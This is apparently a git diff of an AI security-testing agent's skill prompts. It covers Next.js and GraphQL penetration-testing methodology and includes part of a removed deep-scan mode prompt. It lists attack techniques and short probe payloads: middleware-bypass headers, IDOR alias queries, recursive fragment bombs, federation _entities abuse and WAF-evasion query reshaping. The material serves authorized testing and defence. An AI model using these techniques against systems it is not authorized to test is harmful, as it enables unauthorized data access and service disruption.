Inspect Network tab for POST requests with `Next-Action` header. Extract action IDs from response streams and hydration data.
|
||||||
|
|
||||||
|
**Additional Leakage**
|
||||||
|
- `/sitemap.xml`, `/robots.txt`, `/sitemap-*.xml` for unintended admin/internal/preview paths
|
||||||
|
- Client bundles/env for secret paths and preview/admin flags (many teams hide routes via UI only)
|
||||||
|
|
||||||
|
## Key Vulnerabilities
|
||||||
|
|
||||||
|
### Middleware Bypass
|
||||||
|
|
||||||
|
**Known Techniques**
|
||||||
|
- `x-middleware-subrequest` header crafting (CVE-class bypass)
|
||||||
|
- `x-nextjs-data` probing
|
||||||
|
- Look for 307 + `x-middleware-rewrite`/`x-nextjs-redirect` headers
|
||||||
|
|
||||||
|
**Path Normalization**
|
||||||
|
```
|
||||||
|
/api/users
|
||||||
|
/api/users/
|
||||||
|
/api//users
|
||||||
|
/api/./users
|
||||||
|
```
|
||||||
|
Middleware may normalize differently than route handlers. Test double slashes, trailing slashes, dot segments.
|
||||||
|
|
||||||
|
**Parameter Pollution**
|
||||||
|
```
|
||||||
|
?id=1&id=2
|
||||||
|
?filter[]=a&filter[]=b
|
||||||
|
```
|
||||||
|
Middleware checks first value, handler uses last or array.
|
||||||
|
|
||||||
|
### Server Actions
|
||||||
|
|
||||||
|
- Invoke actions outside UI flow with alternate content-types
|
||||||
|
- Authorization assumed from client state rather than enforced server-side
|
||||||
|
- IDOR via object references in action payloads
|
||||||
|
- Map action IDs from source maps to discover hidden actions
|
||||||
|
|
||||||
|
### RSC & Caching
|
||||||
|
|
||||||
|
**Cache Boundary Failures**
|
||||||
|
- User-bound data cached without identity keys (ETag/Set-Cookie unaware)
|
||||||
|
- Personalized content served from shared cache/CDN
|
||||||
|
- Missing `no-store` on sensitive fetches
|
||||||
|
|
||||||
|
**Flight Data Leakage**
|
||||||
|
|
||||||
|
Inspect streamed RSC payloads for serialized sensitive fields in props.
|
||||||
|
|
||||||
|
**ISR Issues**
|
||||||
|
- Stale-while-revalidate responses containing user-specific or tenant-dependent data
|
||||||
|
- Weak secrets in on-demand revalidation endpoint URLs
|
||||||
|
- Referer-disclosed tokens or unvalidated hosts triggering `revalidatePath`/`revalidateTag`
|
||||||
|
- Header-smuggling or method variations to trigger revalidation
|
||||||
|
|
||||||
|
### Authentication
|
||||||
|
|
||||||
|
**NextAuth Pitfalls**
|
||||||
|
- Missing/relaxed state/nonce/PKCE per provider (login CSRF, token mix-up)
|
||||||
|
- Open redirect in `callbackUrl` or mis-scoped allowed hosts
|
||||||
|
- JWT audience/issuer not enforced across routes
|
||||||
|
- Cross-service token reuse
|
||||||
|
- Session hijacking by forcing callbacks
|
||||||
|
|
||||||
|
**Session Boundaries**
|
||||||
|
- Different auth enforcement between App Router and Pages Router
|
||||||
|
- API routes vs Route Handlers authorization inconsistency
|
||||||
|
|
||||||
|
### Data Exposure
|
||||||
|
|
||||||
|
**__NEXT_DATA__ Over-fetching**
|
||||||
|
|
||||||
|
Server-fetched data passed to client but not rendered:
|
||||||
|
- Full user objects when only username needed
|
||||||
|
- Internal IDs, tokens, admin-only fields
|
||||||
|
- ORM select-all patterns exposing entire records
|
||||||
|
- API responses forwarded without sanitization (metadata, cursors, debug info)
|
||||||
|
|
||||||
|
**Environment-Dependent Exposure**
|
||||||
|
- Staging/dev accidentally exposes more fields than production
|
||||||
|
- Inconsistent serialization logic across environments
|
||||||
|
|
||||||
|
**Props Inspection**
|
||||||
|
```javascript
|
||||||
|
// Check for sensitive data in page props
|
||||||
|
JSON.parse(document.getElementById('__NEXT_DATA__').textContent).props
|
||||||
|
```
|
||||||
|
Look for `_metadata`, `_internal`, `__typename` (GraphQL), nested sensitive objects.
|
||||||
|
|
||||||
|
### Image Optimizer SSRF
|
||||||
|
|
||||||
|
**Remote Patterns**
|
||||||
|
- Broad `images.domains`/`remotePatterns` in `next.config.js`
|
||||||
|
- Test: internal hosts, IPv4/IPv6 variants, DNS rebinding
|
||||||
|
|
||||||
|
**Custom Loaders**
|
||||||
|
- Protocol smuggling via redirect chains
|
||||||
|
- Cache poisoning via URL normalization differences affecting other users
|
||||||
|
|
||||||
|
### Runtime Divergence
|
||||||
|
|
||||||
|
**Edge vs Node**
|
||||||
|
- Defenses relying on Node-only modules skipped on Edge
|
||||||
|
- Header trust differs (`x-forwarded-*` handling)
|
||||||
|
- Same route may behave differently across runtimes
|
||||||
|
|
||||||
|
### Client-Side
|
||||||
|
|
||||||
|
**XSS Vectors**
|
||||||
|
- `dangerouslySetInnerHTML`
|
||||||
|
- Markdown renderers
|
||||||
|
- User-controlled href/src attributes
|
||||||
|
- Validate CSP/Trusted Types coverage for SSR/CSR/hydration
|
||||||
|
|
||||||
|
**Hydration Mismatches**
|
||||||
|
|
||||||
|
Server vs client render differences can enable gadget-based XSS.
|
||||||
|
|
||||||
|
### Draft/Preview Mode
|
||||||
|
|
||||||
|
- Secret URLs/cookies enabling preview
|
||||||
|
- Preview secrets leaked in client bundles/env
|
||||||
|
- Setting preview cookies from subdomains or via open redirects
|
||||||
|
|
||||||
|
## Bypass Techniques
|
||||||
|
|
||||||
|
- Content-type switching: `application/json` ↔ `multipart/form-data` ↔ `application/x-www-form-urlencoded`
|
||||||
|
- Method override: `_method`, `X-HTTP-Method-Override`, GET on endpoints accepting writes
|
||||||
|
- Case/param aliasing and query duplication affecting middleware vs handler parsing
|
||||||
|
- Cache key confusion at CDN/proxy (lack of Vary on auth cookies/headers)
|
||||||
|
|
||||||
|
## Testing Methodology
|
||||||
|
|
||||||
|
1. **Enumerate** - Use `__BUILD_MANIFEST`, source maps, build artifacts, sitemap/robots to map all routes
|
||||||
|
2. **Runtime matrix** - Test each route under Edge and Node runtimes
|
||||||
|
3. **Role matrix** - Test as unauth/user/admin across SSR, API routes, Route Handlers, Server Actions
|
||||||
|
4. **Cache probing** - Verify caching respects identity (strip cookies, alter Vary headers, check ETags)
|
||||||
|
5. **Middleware validation** - Test path variants and header manipulation for bypass
|
||||||
|
6. **Cross-router** - Compare authorization between App Router and Pages Router paths
|
||||||
|
|
||||||
|
## Validation Requirements
|
||||||
|
|
||||||
|
- Side-by-side requests showing cross-user/tenant access
|
||||||
|
- Cache boundary failure proof (response diffs, ETag collisions)
|
||||||
|
- Server action invocation outside UI with insufficient auth
|
||||||
|
- Middleware bypass with explicit headers showing protected content access
|
||||||
|
- Runtime parity checks (Edge vs Node inconsistent enforcement)
|
||||||
|
- Discovered routes verified as deployed (200/403) not just build artifacts (404)
|
||||||
|
- Leaked credentials tested with minimal read-only calls; filter placeholders
|
||||||
|
- `__NEXT_DATA__` exposure: verify cross-user (User A's props shouldn't contain User B's PII), confirm exposed fields not in DOM
|
||||||
|
- Path normalization bypasses: show differential responses (403 vs 200), redirects don't count
|
||||||
@@ -1,215 +0,0 @@
|
|||||||
<graphql_protocol_guide>
|
|
||||||
<title>GRAPHQL — ADVANCED TESTING AND EXPLOITATION</title>
|
|
||||||
|
|
||||||
<critical>GraphQL’s flexibility enables powerful data access, but also unique failures: field- and edge-level authorization drift, schema exposure (even with introspection off), alias/batch abuse, resolver injection, federated trust gaps, and complexity/fragment bombs. Bind subject→action→object at resolver boundaries and validate across every transport and feature flag.</critical>
|
|
||||||
|
|
||||||
<scope>
|
|
||||||
- Queries, mutations, subscriptions (graphql-ws, graphql-transport-ws)
|
|
||||||
- Persisted queries/Automatic Persisted Queries (APQ)
|
|
||||||
- Federation (Apollo/GraphQL Mesh): _service SDL and _entities
|
|
||||||
- File uploads (GraphQL multipart request spec)
|
|
||||||
- Relay conventions: global node IDs, connections/cursors
|
|
||||||
</scope>
|
|
||||||
|
|
||||||
<methodology>
|
|
||||||
1. Fingerprint endpoint(s), transport(s), and stack (framework, plugins, gateway). Note GraphiQL/Playground exposure and CORS/credentials.
|
|
||||||
2. Obtain multiple principals (unauth, basic, premium, admin/staff) and capture at least one valid object ID per subject.
|
|
||||||
3. Acquire schema via introspection; if disabled, infer iteratively from errors, field suggestions, __typename probes, vocabulary brute-force.
|
|
||||||
4. Build an Actor × Operation × Type/Field matrix. Exercise each resolver path with swapped IDs, roles, tenants, and channels (REST proxies, GraphQL HTTP, WS).
|
|
||||||
5. Validate consistency: same authorization and validation across queries, mutations, subscriptions, batch/alias, persisted queries, and federation.
|
|
||||||
</methodology>
|
|
||||||
|
|
||||||
<discovery_techniques>
|
|
||||||
<endpoint_finding>
|
|
||||||
- Common paths: /graphql, /api/graphql, /v1/graphql, /gql
|
|
||||||
- Probe with minimal canary:
|
|
||||||
{% raw %}
|
|
||||||
POST /graphql {"query":"{__typename}"}
|
|
||||||
GET /graphql?query={__typename}
|
|
||||||
{% endraw %}
|
|
||||||
- Detect GraphiQL/Playground; note if accessible cross-origin and with credentials.
|
|
||||||
</endpoint_finding>
|
|
||||||
|
|
||||||
<introspection_and_inference>
|
|
||||||
- If enabled, dump full schema; otherwise:
|
|
||||||
- Use __typename on candidate fields to confirm types
|
|
||||||
- Abuse field suggestions and error shapes to enumerate names/args
|
|
||||||
- Infer enums from “expected one of” errors; coerce types by providing wrong shapes
|
|
||||||
- Reconstruct edges from pagination and connection hints (pageInfo, edges/node)
|
|
||||||
</introspection_and_inference>
|
|
||||||
|
|
||||||
<schema_construction>
|
|
||||||
- Map root operations, object types, interfaces/unions, directives (@auth, @defer, @stream), and custom scalars (Upload, JSON, DateTime)
|
|
||||||
- Identify sensitive fields: email, tokens, roles, billing, file keys, admin flags
|
|
||||||
- Note cascade paths where child resolvers may skip auth under parent assumptions
|
|
||||||
</schema_construction>
|
|
||||||
</discovery_techniques>
|
|
||||||
|
|
||||||
<exploitation_techniques>
|
|
||||||
<authorization_and_idor>
|
|
||||||
- Test field-level and edge-level checks, not just top-level gates. Pair owned vs foreign IDs within the same request via aliases to diff responses.
|
|
||||||
{% raw %}
|
|
||||||
query {
|
|
||||||
me { id }
|
|
||||||
a: order(id:"A_OWNER") { id total owner { id email } }
|
|
||||||
b: order(id:"B_FOREIGN") { id total owner { id email } }
|
|
||||||
}
|
|
||||||
{% endraw %}
|
|
||||||
- Probe mutations for partial updates that bypass validation (JSON Merge Patch semantics in inputs).
|
|
||||||
- Validate node/global ID resolvers (Relay) bind to the caller; decode/replace base64 IDs and compare access.
|
|
||||||
</authorization_and_idor>
|
|
||||||
|
|
||||||
<batching_and_alias>
|
|
||||||
- Alias to perform many logically separate reads in one operation; watch for per-request vs per-field auth discrepancies
|
|
||||||
- If array batching is supported (non-standard), submit multiple operations to bypass rate limits and achieve partial failures
|
|
||||||
{% raw %}
|
|
||||||
query {
|
|
||||||
u1:user(id:"1"){email}
|
|
||||||
u2:user(id:"2"){email}
|
|
||||||
u3:user(id:"3"){email}
|
|
||||||
}
|
|
||||||
{% endraw %}
|
|
||||||
</batching_and_alias>
|
|
||||||
|
|
||||||
<variable_and_shape_abuse>
|
|
||||||
- Scalars vs objects vs arrays: {% raw %}{id:123}{% endraw} vs {% raw %}{id:"123"}{% endraw} vs {% raw %}{id:[123]}{% endraw}; send null/empty/0/-1 and extra object keys retained by backend
|
|
||||||
- Duplicate keys in JSON variables: {% raw %}{"id":1,"id":2}{% endraw} (parser precedence), default argument values, coercion errors leaking field names
|
|
||||||
</variable_and_shape_abuse>
|
|
||||||
|
|
||||||
<cursor_and_projection>
|
|
||||||
- Decode cursors (often base64) to manipulate offsets/IDs and skip filters
|
|
||||||
- Abuse selection sets and fragments to force overfetching of sensitive subfields
|
|
||||||
</cursor_and_projection>
|
|
||||||
|
|
||||||
<file_uploads>
|
|
||||||
- GraphQL multipart: test multiple Upload scalars, filename/path tricks, unexpected content-types, oversize chunks; verify server-side ownership/scoping for returned URLs
|
|
||||||
</file_uploads>
|
|
||||||
</exploitation_techniques>
|
|
||||||
|
|
||||||
<advanced_techniques>
|
|
||||||
<introspection_bypass>
|
|
||||||
- Field suggestion leakage: submit near-miss names to harvest suggestions
|
|
||||||
- Error taxonomy: different codes/messages for unknown field vs unauthorized field reveal existence
|
|
||||||
- __typename sprinkling on edges to confirm types without schema
|
|
||||||
</introspection_bypass>
|
|
||||||
|
|
||||||
<defer_and_stream>
|
|
||||||
- Use @defer and @stream to obtain partial results or subtrees hidden by parent checks; confirm server supports incremental delivery
|
|
||||||
{% raw %}
|
|
||||||
query @defer {
|
|
||||||
me { id }
|
|
||||||
... @defer { adminPanel { secrets } }
|
|
||||||
}
|
|
||||||
{% endraw %}
|
|
||||||
</defer_and_stream>
|
|
||||||
|
|
||||||
<fragment_and_complexity_bombs>
|
|
||||||
- Recursive fragment spreads and wide selection sets cause CPU/memory spikes; craft minimal reproducible bombs to validate cost limits
|
|
||||||
{% raw %}
|
|
||||||
fragment x on User { friends { ...x } }
|
|
||||||
query { me { ...x } }
|
|
||||||
{% endraw %}
|
|
||||||
- Validate depth/complexity limiting, query cost analyzers, and timeouts
|
|
||||||
</fragment_and_complexity_bombs>
|
|
||||||
|
|
||||||
<federation>
|
|
||||||
- Apollo Federation: query _service { sdl } if exposed; target _entities to materialize foreign objects by key without proper auth in subgraphs
|
|
||||||
{% raw %}
|
|
||||||
query {
|
|
||||||
_entities(representations:[
|
|
||||||
{__typename:"User", id:"TARGET"}
|
|
||||||
]) { ... on User { email roles } }
|
|
||||||
}
|
|
||||||
{% endraw %}
|
|
||||||
- Look for auth done at gateway but skipped in subgraph resolvers; cross-subgraph IDOR via inconsistent ownership checks
|
|
||||||
</federation>
|
|
||||||
|
|
||||||
<subscriptions>
|
|
||||||
- Check message-level authorization, not only handshake; attempt to subscribe to channels for other users/tenants; test cross-tenant event leakage
|
|
||||||
- Abuse filter args in subscription resolvers to reference foreign IDs
|
|
||||||
</subscriptions>
|
|
||||||
|
|
||||||
<persisted_queries>
|
|
||||||
- APQ hashes can be guessed/bruteforced or leaked from clients; replay privileged operations by supplying known hashes with attacker variables
|
|
||||||
- Validate that hash→operation mapping enforces principal and operation allowlists
|
|
||||||
</persisted_queries>
|
|
||||||
|
|
||||||
<csrf_and_cors>
|
|
||||||
- If cookie-auth is used and GET is accepted, test CSRF on mutations via query parameters; verify SameSite and origin checks
|
|
||||||
- Cross-origin GraphiQL/Playground exposure with credentials can leak data via postMessage bridges
|
|
||||||
</csrf_and_cors>
|
|
||||||
|
|
||||||
<waf_evasion>
|
|
||||||
- Reshape queries: comments, block strings, Unicode escapes, alias/fragment indirection, JSON variables vs inline args, GET vs POST vs application/graphql
|
|
||||||
- Split fields across fragments and inline spreads to avoid naive signatures
|
|
||||||
</waf_evasion>
|
|
||||||
</advanced_techniques>
|
|
||||||
|
|
||||||
<bypass_techniques>
|
|
||||||
<transport_and_parsers>
|
|
||||||
- Toggle content-types: application/json, application/graphql, multipart/form-data; try GET with query and variables params
|
|
||||||
- HTTP/2 multiplexing and connection reuse to widen timing windows and rate limits
|
|
||||||
</transport_and_parsers>
|
|
||||||
|
|
||||||
<naming_and_aliasing>
|
|
||||||
- Case/underscore variations, Unicode homoglyphs (server-dependent), aliases masking sensitive field names
|
|
||||||
</naming_and_aliasing>
|
|
||||||
|
|
||||||
<gateway_and_cache>
|
|
||||||
- CDN/key confusion: responses cached without considering Authorization or variables; manipulate Vary and Accept headers
|
|
||||||
- Redirects and 304/206 behaviors leaking partially cached GraphQL responses
|
|
||||||
</gateway_and_cache>
|
|
||||||
</bypass_techniques>
|
|
||||||
|
|
||||||
<special_contexts>
|
|
||||||
<relay>
|
|
||||||
- node(id:…) global resolution: decode base64, swap type/id pairs, ensure per-type authorization is enforced inside resolvers
|
|
||||||
- Connections: verify that filters (owner/tenant) apply before pagination; cursor tampering should not cross ownership boundaries
|
|
||||||
</relay>
|
|
||||||
|
|
||||||
<server_plugins>
|
|
||||||
- Custom directives (@auth, @private) and plugins often annotate intent but do not enforce; verify actual checks in each resolver path
|
|
||||||
</server_plugins>
|
|
||||||
</special_contexts>
|
|
||||||
|
|
||||||
<chaining_attacks>
|
|
||||||
- GraphQL + IDOR: enumerate IDs via list fields, then fetch or mutate foreign objects
|
|
||||||
- GraphQL + CSRF: trigger mutations cross-origin when cookies/auth are accepted without proper checks
|
|
||||||
- GraphQL + SSRF: resolvers that fetch URLs (webhooks, metadata) abused to reach internal services
|
|
||||||
</chaining_attacks>
|
|
||||||
|
|
||||||
<validation>
|
|
||||||
1. Provide paired requests (owner vs non-owner) differing only in identifiers/roles that demonstrate unauthorized access or mutation.
|
|
||||||
2. Prove resolver-level bypass: show top-level checks present but child field/edge exposes data.
|
|
||||||
3. Demonstrate transport parity: reproduce via HTTP and WS (subscriptions) or via persisted queries.
|
|
||||||
4. Minimize payloads; document exact selection sets and variable shapes used.
|
|
||||||
</validation>
|
|
||||||
|
|
||||||
<false_positives>
|
|
||||||
- Introspection available only on non-production/stub endpoints
|
|
||||||
- Public fields by design with documented scopes
|
|
||||||
- Aggregations or counts without sensitive attributes
|
|
||||||
- Properly enforced depth/complexity and per-resolver authorization across transports
|
|
||||||
</false_positives>
|
|
||||||
|
|
||||||
<impact>
|
|
||||||
- Cross-account/tenant data exposure and unauthorized state changes
|
|
||||||
- Bypass of federation boundaries enabling lateral access across services
|
|
||||||
- Credential/session leakage via lax CORS/CSRF around GraphiQL/Playground
|
|
||||||
</impact>
|
|
||||||
|
|
||||||
<pro_tips>
|
|
||||||
1. Always diff the same operation under multiple principals with aliases in one request.
|
|
||||||
2. Sprinkle __typename to map types quickly when schema is hidden.
|
|
||||||
3. Attack edges: child resolvers often skip auth compared to parents.
|
|
||||||
4. Try @defer/@stream and subscriptions to slip gated data in incremental events.
|
|
||||||
5. Decode cursors and node IDs; assume base64 unless proven otherwise.
|
|
||||||
6. Federation: exercise _entities with crafted representations; subgraphs frequently trust gateway auth.
|
|
||||||
7. Persisted queries: extract hashes from clients; replay with attacker variables.
|
|
||||||
8. Keep payloads small and structured; restructure rather than enlarge to evade WAFs.
|
|
||||||
9. Validate defenses by code/config review where possible; don’t trust directives alone.
|
|
||||||
10. Prove impact with role-separated, transport-separated, minimal PoCs.
|
|
||||||
</pro_tips>
|
|
||||||
|
|
||||||
<remember>GraphQL security is resolver security. If any resolver on the path to a field fails to bind subject, object, and action, the graph leaks. Validate every path, every transport, every environment.</remember>
|
|
||||||
</graphql_protocol_guide>
|
|
||||||
276
strix/skills/protocols/graphql.md
Normal file
276
strix/skills/protocols/graphql.md
Normal file
@@ -0,0 +1,276 @@
|
|||||||
|
---
|
||||||
|
name: graphql
|
||||||
|
description: GraphQL security testing covering introspection, resolver injection, batching attacks, and authorization bypass
|
||||||
|
---
|
||||||
|
|
||||||
|
# GraphQL
|
||||||
|
|
||||||
|
Security testing for GraphQL APIs. Focus on resolver-level authorization, field/edge access control, batching abuse, and federation trust boundaries.
|
||||||
|
|
||||||
|
## Attack Surface
|
||||||
|
|
||||||
|
**Operations**
|
||||||
|
- Queries, mutations, subscriptions
|
||||||
|
- Persisted queries / Automatic Persisted Queries (APQ)
|
||||||
|
|
||||||
|
**Transports**
|
||||||
|
- HTTP POST/GET with `application/json` or `application/graphql`
|
||||||
|
- WebSocket: graphql-ws, graphql-transport-ws protocols
|
||||||
|
- Multipart for file uploads
|
||||||
|
|
||||||
|
**Schema Features**
|
||||||
|
- Introspection (`__schema`, `__type`)
|
||||||
|
- Directives: `@defer`, `@stream`, custom auth directives (@auth, @private)
|
||||||
|
- Custom scalars: Upload, JSON, DateTime
|
||||||
|
- Relay: global node IDs, connections/cursors, interfaces/unions
|
||||||
|
|
||||||
|
**Architecture**
|
||||||
|
- Federation (Apollo, GraphQL Mesh): `_service`, `_entities`
|
||||||
|
- Gateway vs subgraph authorization boundaries
|
||||||
|
|
||||||
|
## Reconnaissance
|
||||||
|
|
||||||
|
**Endpoint Discovery**
|
||||||
|
```
|
||||||
|
POST /graphql {"query":"{__typename}"}
|
||||||
|
POST /api/graphql {"query":"{__typename}"}
|
||||||
|
POST /v1/graphql {"query":"{__typename}"}
|
||||||
|
POST /gql {"query":"{__typename}"}
|
||||||
|
GET /graphql?query={__typename}
|
||||||
|
```
|
||||||
|
|
||||||
|
Check for GraphiQL/Playground exposure with credentials enabled (cross-origin with cookies can leak data via postMessage bridges).
|
||||||
|
|
||||||
|
**Schema Acquisition**
|
||||||
|
|
||||||
|
If introspection enabled:
|
||||||
|
```graphql
|
||||||
|
{__schema{types{name fields{name args{name}}}}}
|
||||||
|
```
|
||||||
|
|
||||||
|
If disabled, infer schema via:
|
||||||
|
- `__typename` probes on candidate fields
|
||||||
|
- Field suggestion errors (submit near-miss names to harvest suggestions)
|
||||||
|
- "Expected one of" errors revealing enum values
|
||||||
|
- Type coercion errors exposing field structure
|
||||||
|
- Error taxonomy: different codes for "unknown field" vs "unauthorized field" reveal existence
|
||||||
|
|
||||||
|
**Schema Mapping**
|
||||||
|
|
||||||
|
Map: root operations, object types, interfaces/unions, directives, custom scalars. Identify sensitive fields: email, tokens, roles, billing, API keys, admin flags, file URLs. Note cascade paths where child resolvers may skip auth under parent assumptions.
|
||||||
|
|
||||||
|
## Key Vulnerabilities
|
||||||
|
|
||||||
|
### Authorization Bypass
|
||||||
|
|
||||||
|
**Field-Level IDOR**
|
||||||
|
|
||||||
|
Test with aliases comparing owned vs foreign objects in single request:
|
||||||
|
```graphql
|
||||||
|
query {
|
||||||
|
own: order(id:"OWNED_ID") { id total owner { email } }
|
||||||
|
foreign: order(id:"FOREIGN_ID") { id total owner { email } }
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
**Edge/Child Resolver Gaps**
|
||||||
|
|
||||||
|
Parent resolver checks auth, child resolver assumes it's already validated:
|
||||||
|
```graphql
|
||||||
|
query {
|
||||||
|
user(id:"FOREIGN") {
|
||||||
|
id
|
||||||
|
privateData { secrets } # Child may skip auth check
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
**Relay Node Resolution**
|
||||||
|
|
||||||
|
Decode base64 global IDs, swap type/id pairs:
|
||||||
|
```graphql
|
||||||
|
query {
|
||||||
|
node(id:"VXNlcjoxMjM=") { ... on User { email } }
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Ensure per-type authorization is enforced inside resolvers. Verify connection filters (owner/tenant) apply before pagination; cursor tampering should not cross ownership boundaries.
|
||||||
|
|
||||||
|
**Mutation Bypass**
|
||||||
|
- Probe mutations for partial updates bypassing validation (JSON Merge Patch semantics)
|
||||||
|
- Test mutations that accept extra fields passed to downstream logic
|
||||||
|
|
||||||
|
### Batching & Alias Abuse
|
||||||
|
|
||||||
|
**Enumeration via Aliases**
|
||||||
|
```graphql
|
||||||
|
query {
|
||||||
|
u1:user(id:"1"){email}
|
||||||
|
u2:user(id:"2"){email}
|
||||||
|
u3:user(id:"3"){email}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Bypasses per-request rate limits; exposes per-field vs per-request auth inconsistencies.
|
||||||
|
|
||||||
|
**Array Batching**
|
||||||
|
|
||||||
|
If supported (non-standard), submit multiple operations to achieve partial failures and bypass limits.
|
||||||
|
|
||||||
|
### Input Manipulation
|
||||||
|
|
||||||
|
**Type Confusion**
|
||||||
|
```
|
||||||
|
{id: 123} vs {id: "123"}
|
||||||
|
{id: [123]} vs {id: null}
|
||||||
|
{id: 0} vs {id: -1}
|
||||||
|
```
|
||||||
|
|
||||||
|
**Duplicate Keys**
|
||||||
|
```json
|
||||||
|
{"id": 1, "id": 2}
|
||||||
|
```
|
||||||
|
Parser precedence varies; may bypass validation. Also test default argument values.
|
||||||
|
|
||||||
|
**Extra Fields**
|
||||||
|
|
||||||
|
Send unexpected keys in input objects; backends may pass them to resolvers or downstream logic.
|
||||||
|
|
||||||
|
### Cursor Manipulation
|
||||||
|
|
||||||
|
Decode cursors (usually base64) to:
|
||||||
|
- Manipulate offsets/IDs
|
||||||
|
- Skip filters
|
||||||
|
- Cross ownership boundaries
|
||||||
|
|
||||||
|
### Directive Abuse
|
||||||
|
|
||||||
|
**@defer/@stream**
|
||||||
|
```graphql
|
||||||
|
query {
|
||||||
|
me { id }
|
||||||
|
... @defer { adminPanel { secrets } }
|
||||||
|
}
|
||||||
|
```
|
||||||
|
May return gated data in incremental delivery. Confirm server supports incremental delivery.
|
||||||
|
|
||||||
|
**Custom Directives**
|
||||||
|
|
||||||
|
@auth, @private and similar directives often annotate intent but do not enforce—verify actual checks in each resolver path.
|
||||||
|
|
||||||
|
### Complexity Attacks
|
||||||
|
|
||||||
|
**Fragment Bombs**
|
||||||
|
```graphql
|
||||||
|
fragment x on User { friends { ...x } }
|
||||||
|
query { me { ...x } }
|
||||||
|
```
|
||||||
|
Test depth/complexity limits, query cost analyzers, timeouts.
|
||||||
|
|
||||||
|
**Wide Selection Sets**
|
||||||
|
|
||||||
|
Abuse selection sets and fragments to force overfetching of sensitive subfields.
|
||||||
|
|
||||||
|
### Federation Exploitation
|
||||||
|
|
||||||
|
**SDL Exposure**
|
||||||
|
```graphql
|
||||||
|
query { _service { sdl } }
|
||||||
|
```
|
||||||
|
|
||||||
|
**Entity Materialization**
|
||||||
|
```graphql
|
||||||
|
query {
|
||||||
|
_entities(representations:[
|
||||||
|
{__typename:"User", id:"TARGET_ID"}
|
||||||
|
]) { ... on User { email roles } }
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Gateway may enforce auth; subgraph resolvers may not. Look for cross-subgraph IDOR via inconsistent ownership checks.
|
||||||
|
|
||||||
|
### Subscription Security
|
||||||
|
|
||||||
|
- Authorization at handshake only, not per-message
|
||||||
|
- Subscribe to other users' channels via filter args
|
||||||
|
- Cross-tenant event leakage
|
||||||
|
- Abuse filter args in subscription resolvers to reference foreign IDs
|
||||||
|
|
||||||
|
### Persisted Query Abuse
|
||||||
|
|
||||||
|
- APQ hashes leaked from client bundles
|
||||||
|
- Replay privileged operations with attacker variables
|
||||||
|
- Hash bruteforce for common operations
|
||||||
|
- Validate hash→operation mapping enforces principal and operation allowlists
|
||||||
|
|
||||||
|
### CORS & CSRF
|
||||||
|
|
||||||
|
- Cookie-auth with GET queries enables CSRF on mutations via query parameters
|
||||||
|
- GraphiQL/Playground cross-origin with credentials leaks data
|
||||||
|
- Missing SameSite and origin validation
|
||||||
|
|
||||||
|
### File Uploads
|
||||||
|
|
||||||
|
GraphQL multipart spec:
|
||||||
|
- Multiple Upload scalars
|
||||||
|
- Filename/path traversal tricks
|
||||||
|
- Unexpected content-types, oversize chunks
|
||||||
|
- Server-side ownership/scoping for returned URLs
|
||||||
|
|
||||||
|
## WAF Evasion
|
||||||
|
|
||||||
|
**Query Reshaping**
|
||||||
|
- Comments and block strings (`"""..."""`)
|
||||||
|
- Unicode escapes
|
||||||
|
- Alias/fragment indirection
|
||||||
|
- JSON variables vs inline args
|
||||||
|
- GET vs POST vs `application/graphql`
|
||||||
|
|
||||||
|
**Fragment Splitting**
|
||||||
|
|
||||||
|
Split fields across fragments and inline spreads to avoid naive signatures:
|
||||||
|
```graphql
|
||||||
|
fragment a on User { email }
|
||||||
|
fragment b on User { password }
|
||||||
|
query { me { ...a ...b } }
|
||||||
|
```
|
||||||
|
|
||||||
|
## Bypass Techniques
|
||||||
|
|
||||||
|
**Transport Switching**
|
||||||
|
```
|
||||||
|
Content-Type: application/json
|
||||||
|
Content-Type: application/graphql
|
||||||
|
Content-Type: multipart/form-data
|
||||||
|
GET with query params
|
||||||
|
```
|
||||||
|
|
||||||
|
**Timing & Rate Limits**
|
||||||
|
- HTTP/2 multiplexing and connection reuse to widen timing windows
|
||||||
|
- Batching to bypass rate limits
|
||||||
|
|
||||||
|
**Naming Tricks**
|
||||||
|
- Case/underscore variations
|
||||||
|
- Unicode homoglyphs (server-dependent)
|
||||||
|
- Aliases masking sensitive field names
|
||||||
|
|
||||||
|
**Cache Confusion**
|
||||||
|
- CDN caching without Vary on Authorization
|
||||||
|
- Variable manipulation affecting cache keys
|
||||||
|
- Redirects and 304/206 behaviors leaking partial responses
|
||||||
|
|
||||||
|
## Testing Methodology
|
||||||
|
|
||||||
|
1. **Fingerprint** - Identify endpoints, transports, stack (Apollo, Hasura, etc.), GraphiQL exposure
|
||||||
|
2. **Schema mapping** - Introspection or inference to build complete type graph
|
||||||
|
3. **Principal matrix** - Collect tokens for unauth, user, premium, admin roles with at least one valid object ID per subject
|
||||||
|
4. **Field sweep** - Test each resolver with owned vs foreign IDs via aliases in same request
|
||||||
|
5. **Transport parity** - Verify same auth on HTTP, WebSocket, persisted queries
|
||||||
|
6. **Federation probe** - Test `_service` and `_entities` for subgraph auth gaps
|
||||||
|
7. **Edge cases** - Cursors, @defer/@stream, subscriptions, file uploads
|
||||||
|
|
||||||
|
## Validation Requirements
|
||||||
|
|
||||||
|
- Paired requests (owner vs non-owner) showing unauthorized access
|
||||||
|
- Resolver-level bypass: parent checks present, child field exposes data
|
||||||
|
- Transport parity proof: HTTP and WebSocket for same operation
|
||||||
|
- Federation bypass: `_entities` accessing data without subgraph auth
|
||||||
|
- Minimal payloads with exact selection sets and variable shapes
|
||||||
|
- Document exact resolver paths that missed enforcement
|
||||||
@@ -1,145 +0,0 @@
|
|||||||
<scan_mode>
|
|
||||||
DEEP SCAN MODE - Exhaustive Security Assessment
|
|
||||||
|
|
||||||
This mode is for thorough security reviews where finding vulnerabilities is critical.
|
|
||||||
|
|
||||||
PHASE 1: EXHAUSTIVE RECONNAISSANCE AND MAPPING
|
|
||||||
Spend significant effort understanding the target before exploitation.
|
|
||||||
|
|
||||||
For whitebox (source code available):
|
|
||||||
- Map EVERY file, module, and code path in the repository
|
|
||||||
- Trace all entry points from HTTP handlers to database queries
|
|
||||||
- Identify all authentication mechanisms and their implementations
|
|
||||||
- Map all authorization checks and understand the access control model
|
|
||||||
- Identify all external service integrations and API calls
|
|
||||||
- Analyze all configuration files for secrets and misconfigurations
|
|
||||||
- Review all database schemas and understand data relationships
|
|
||||||
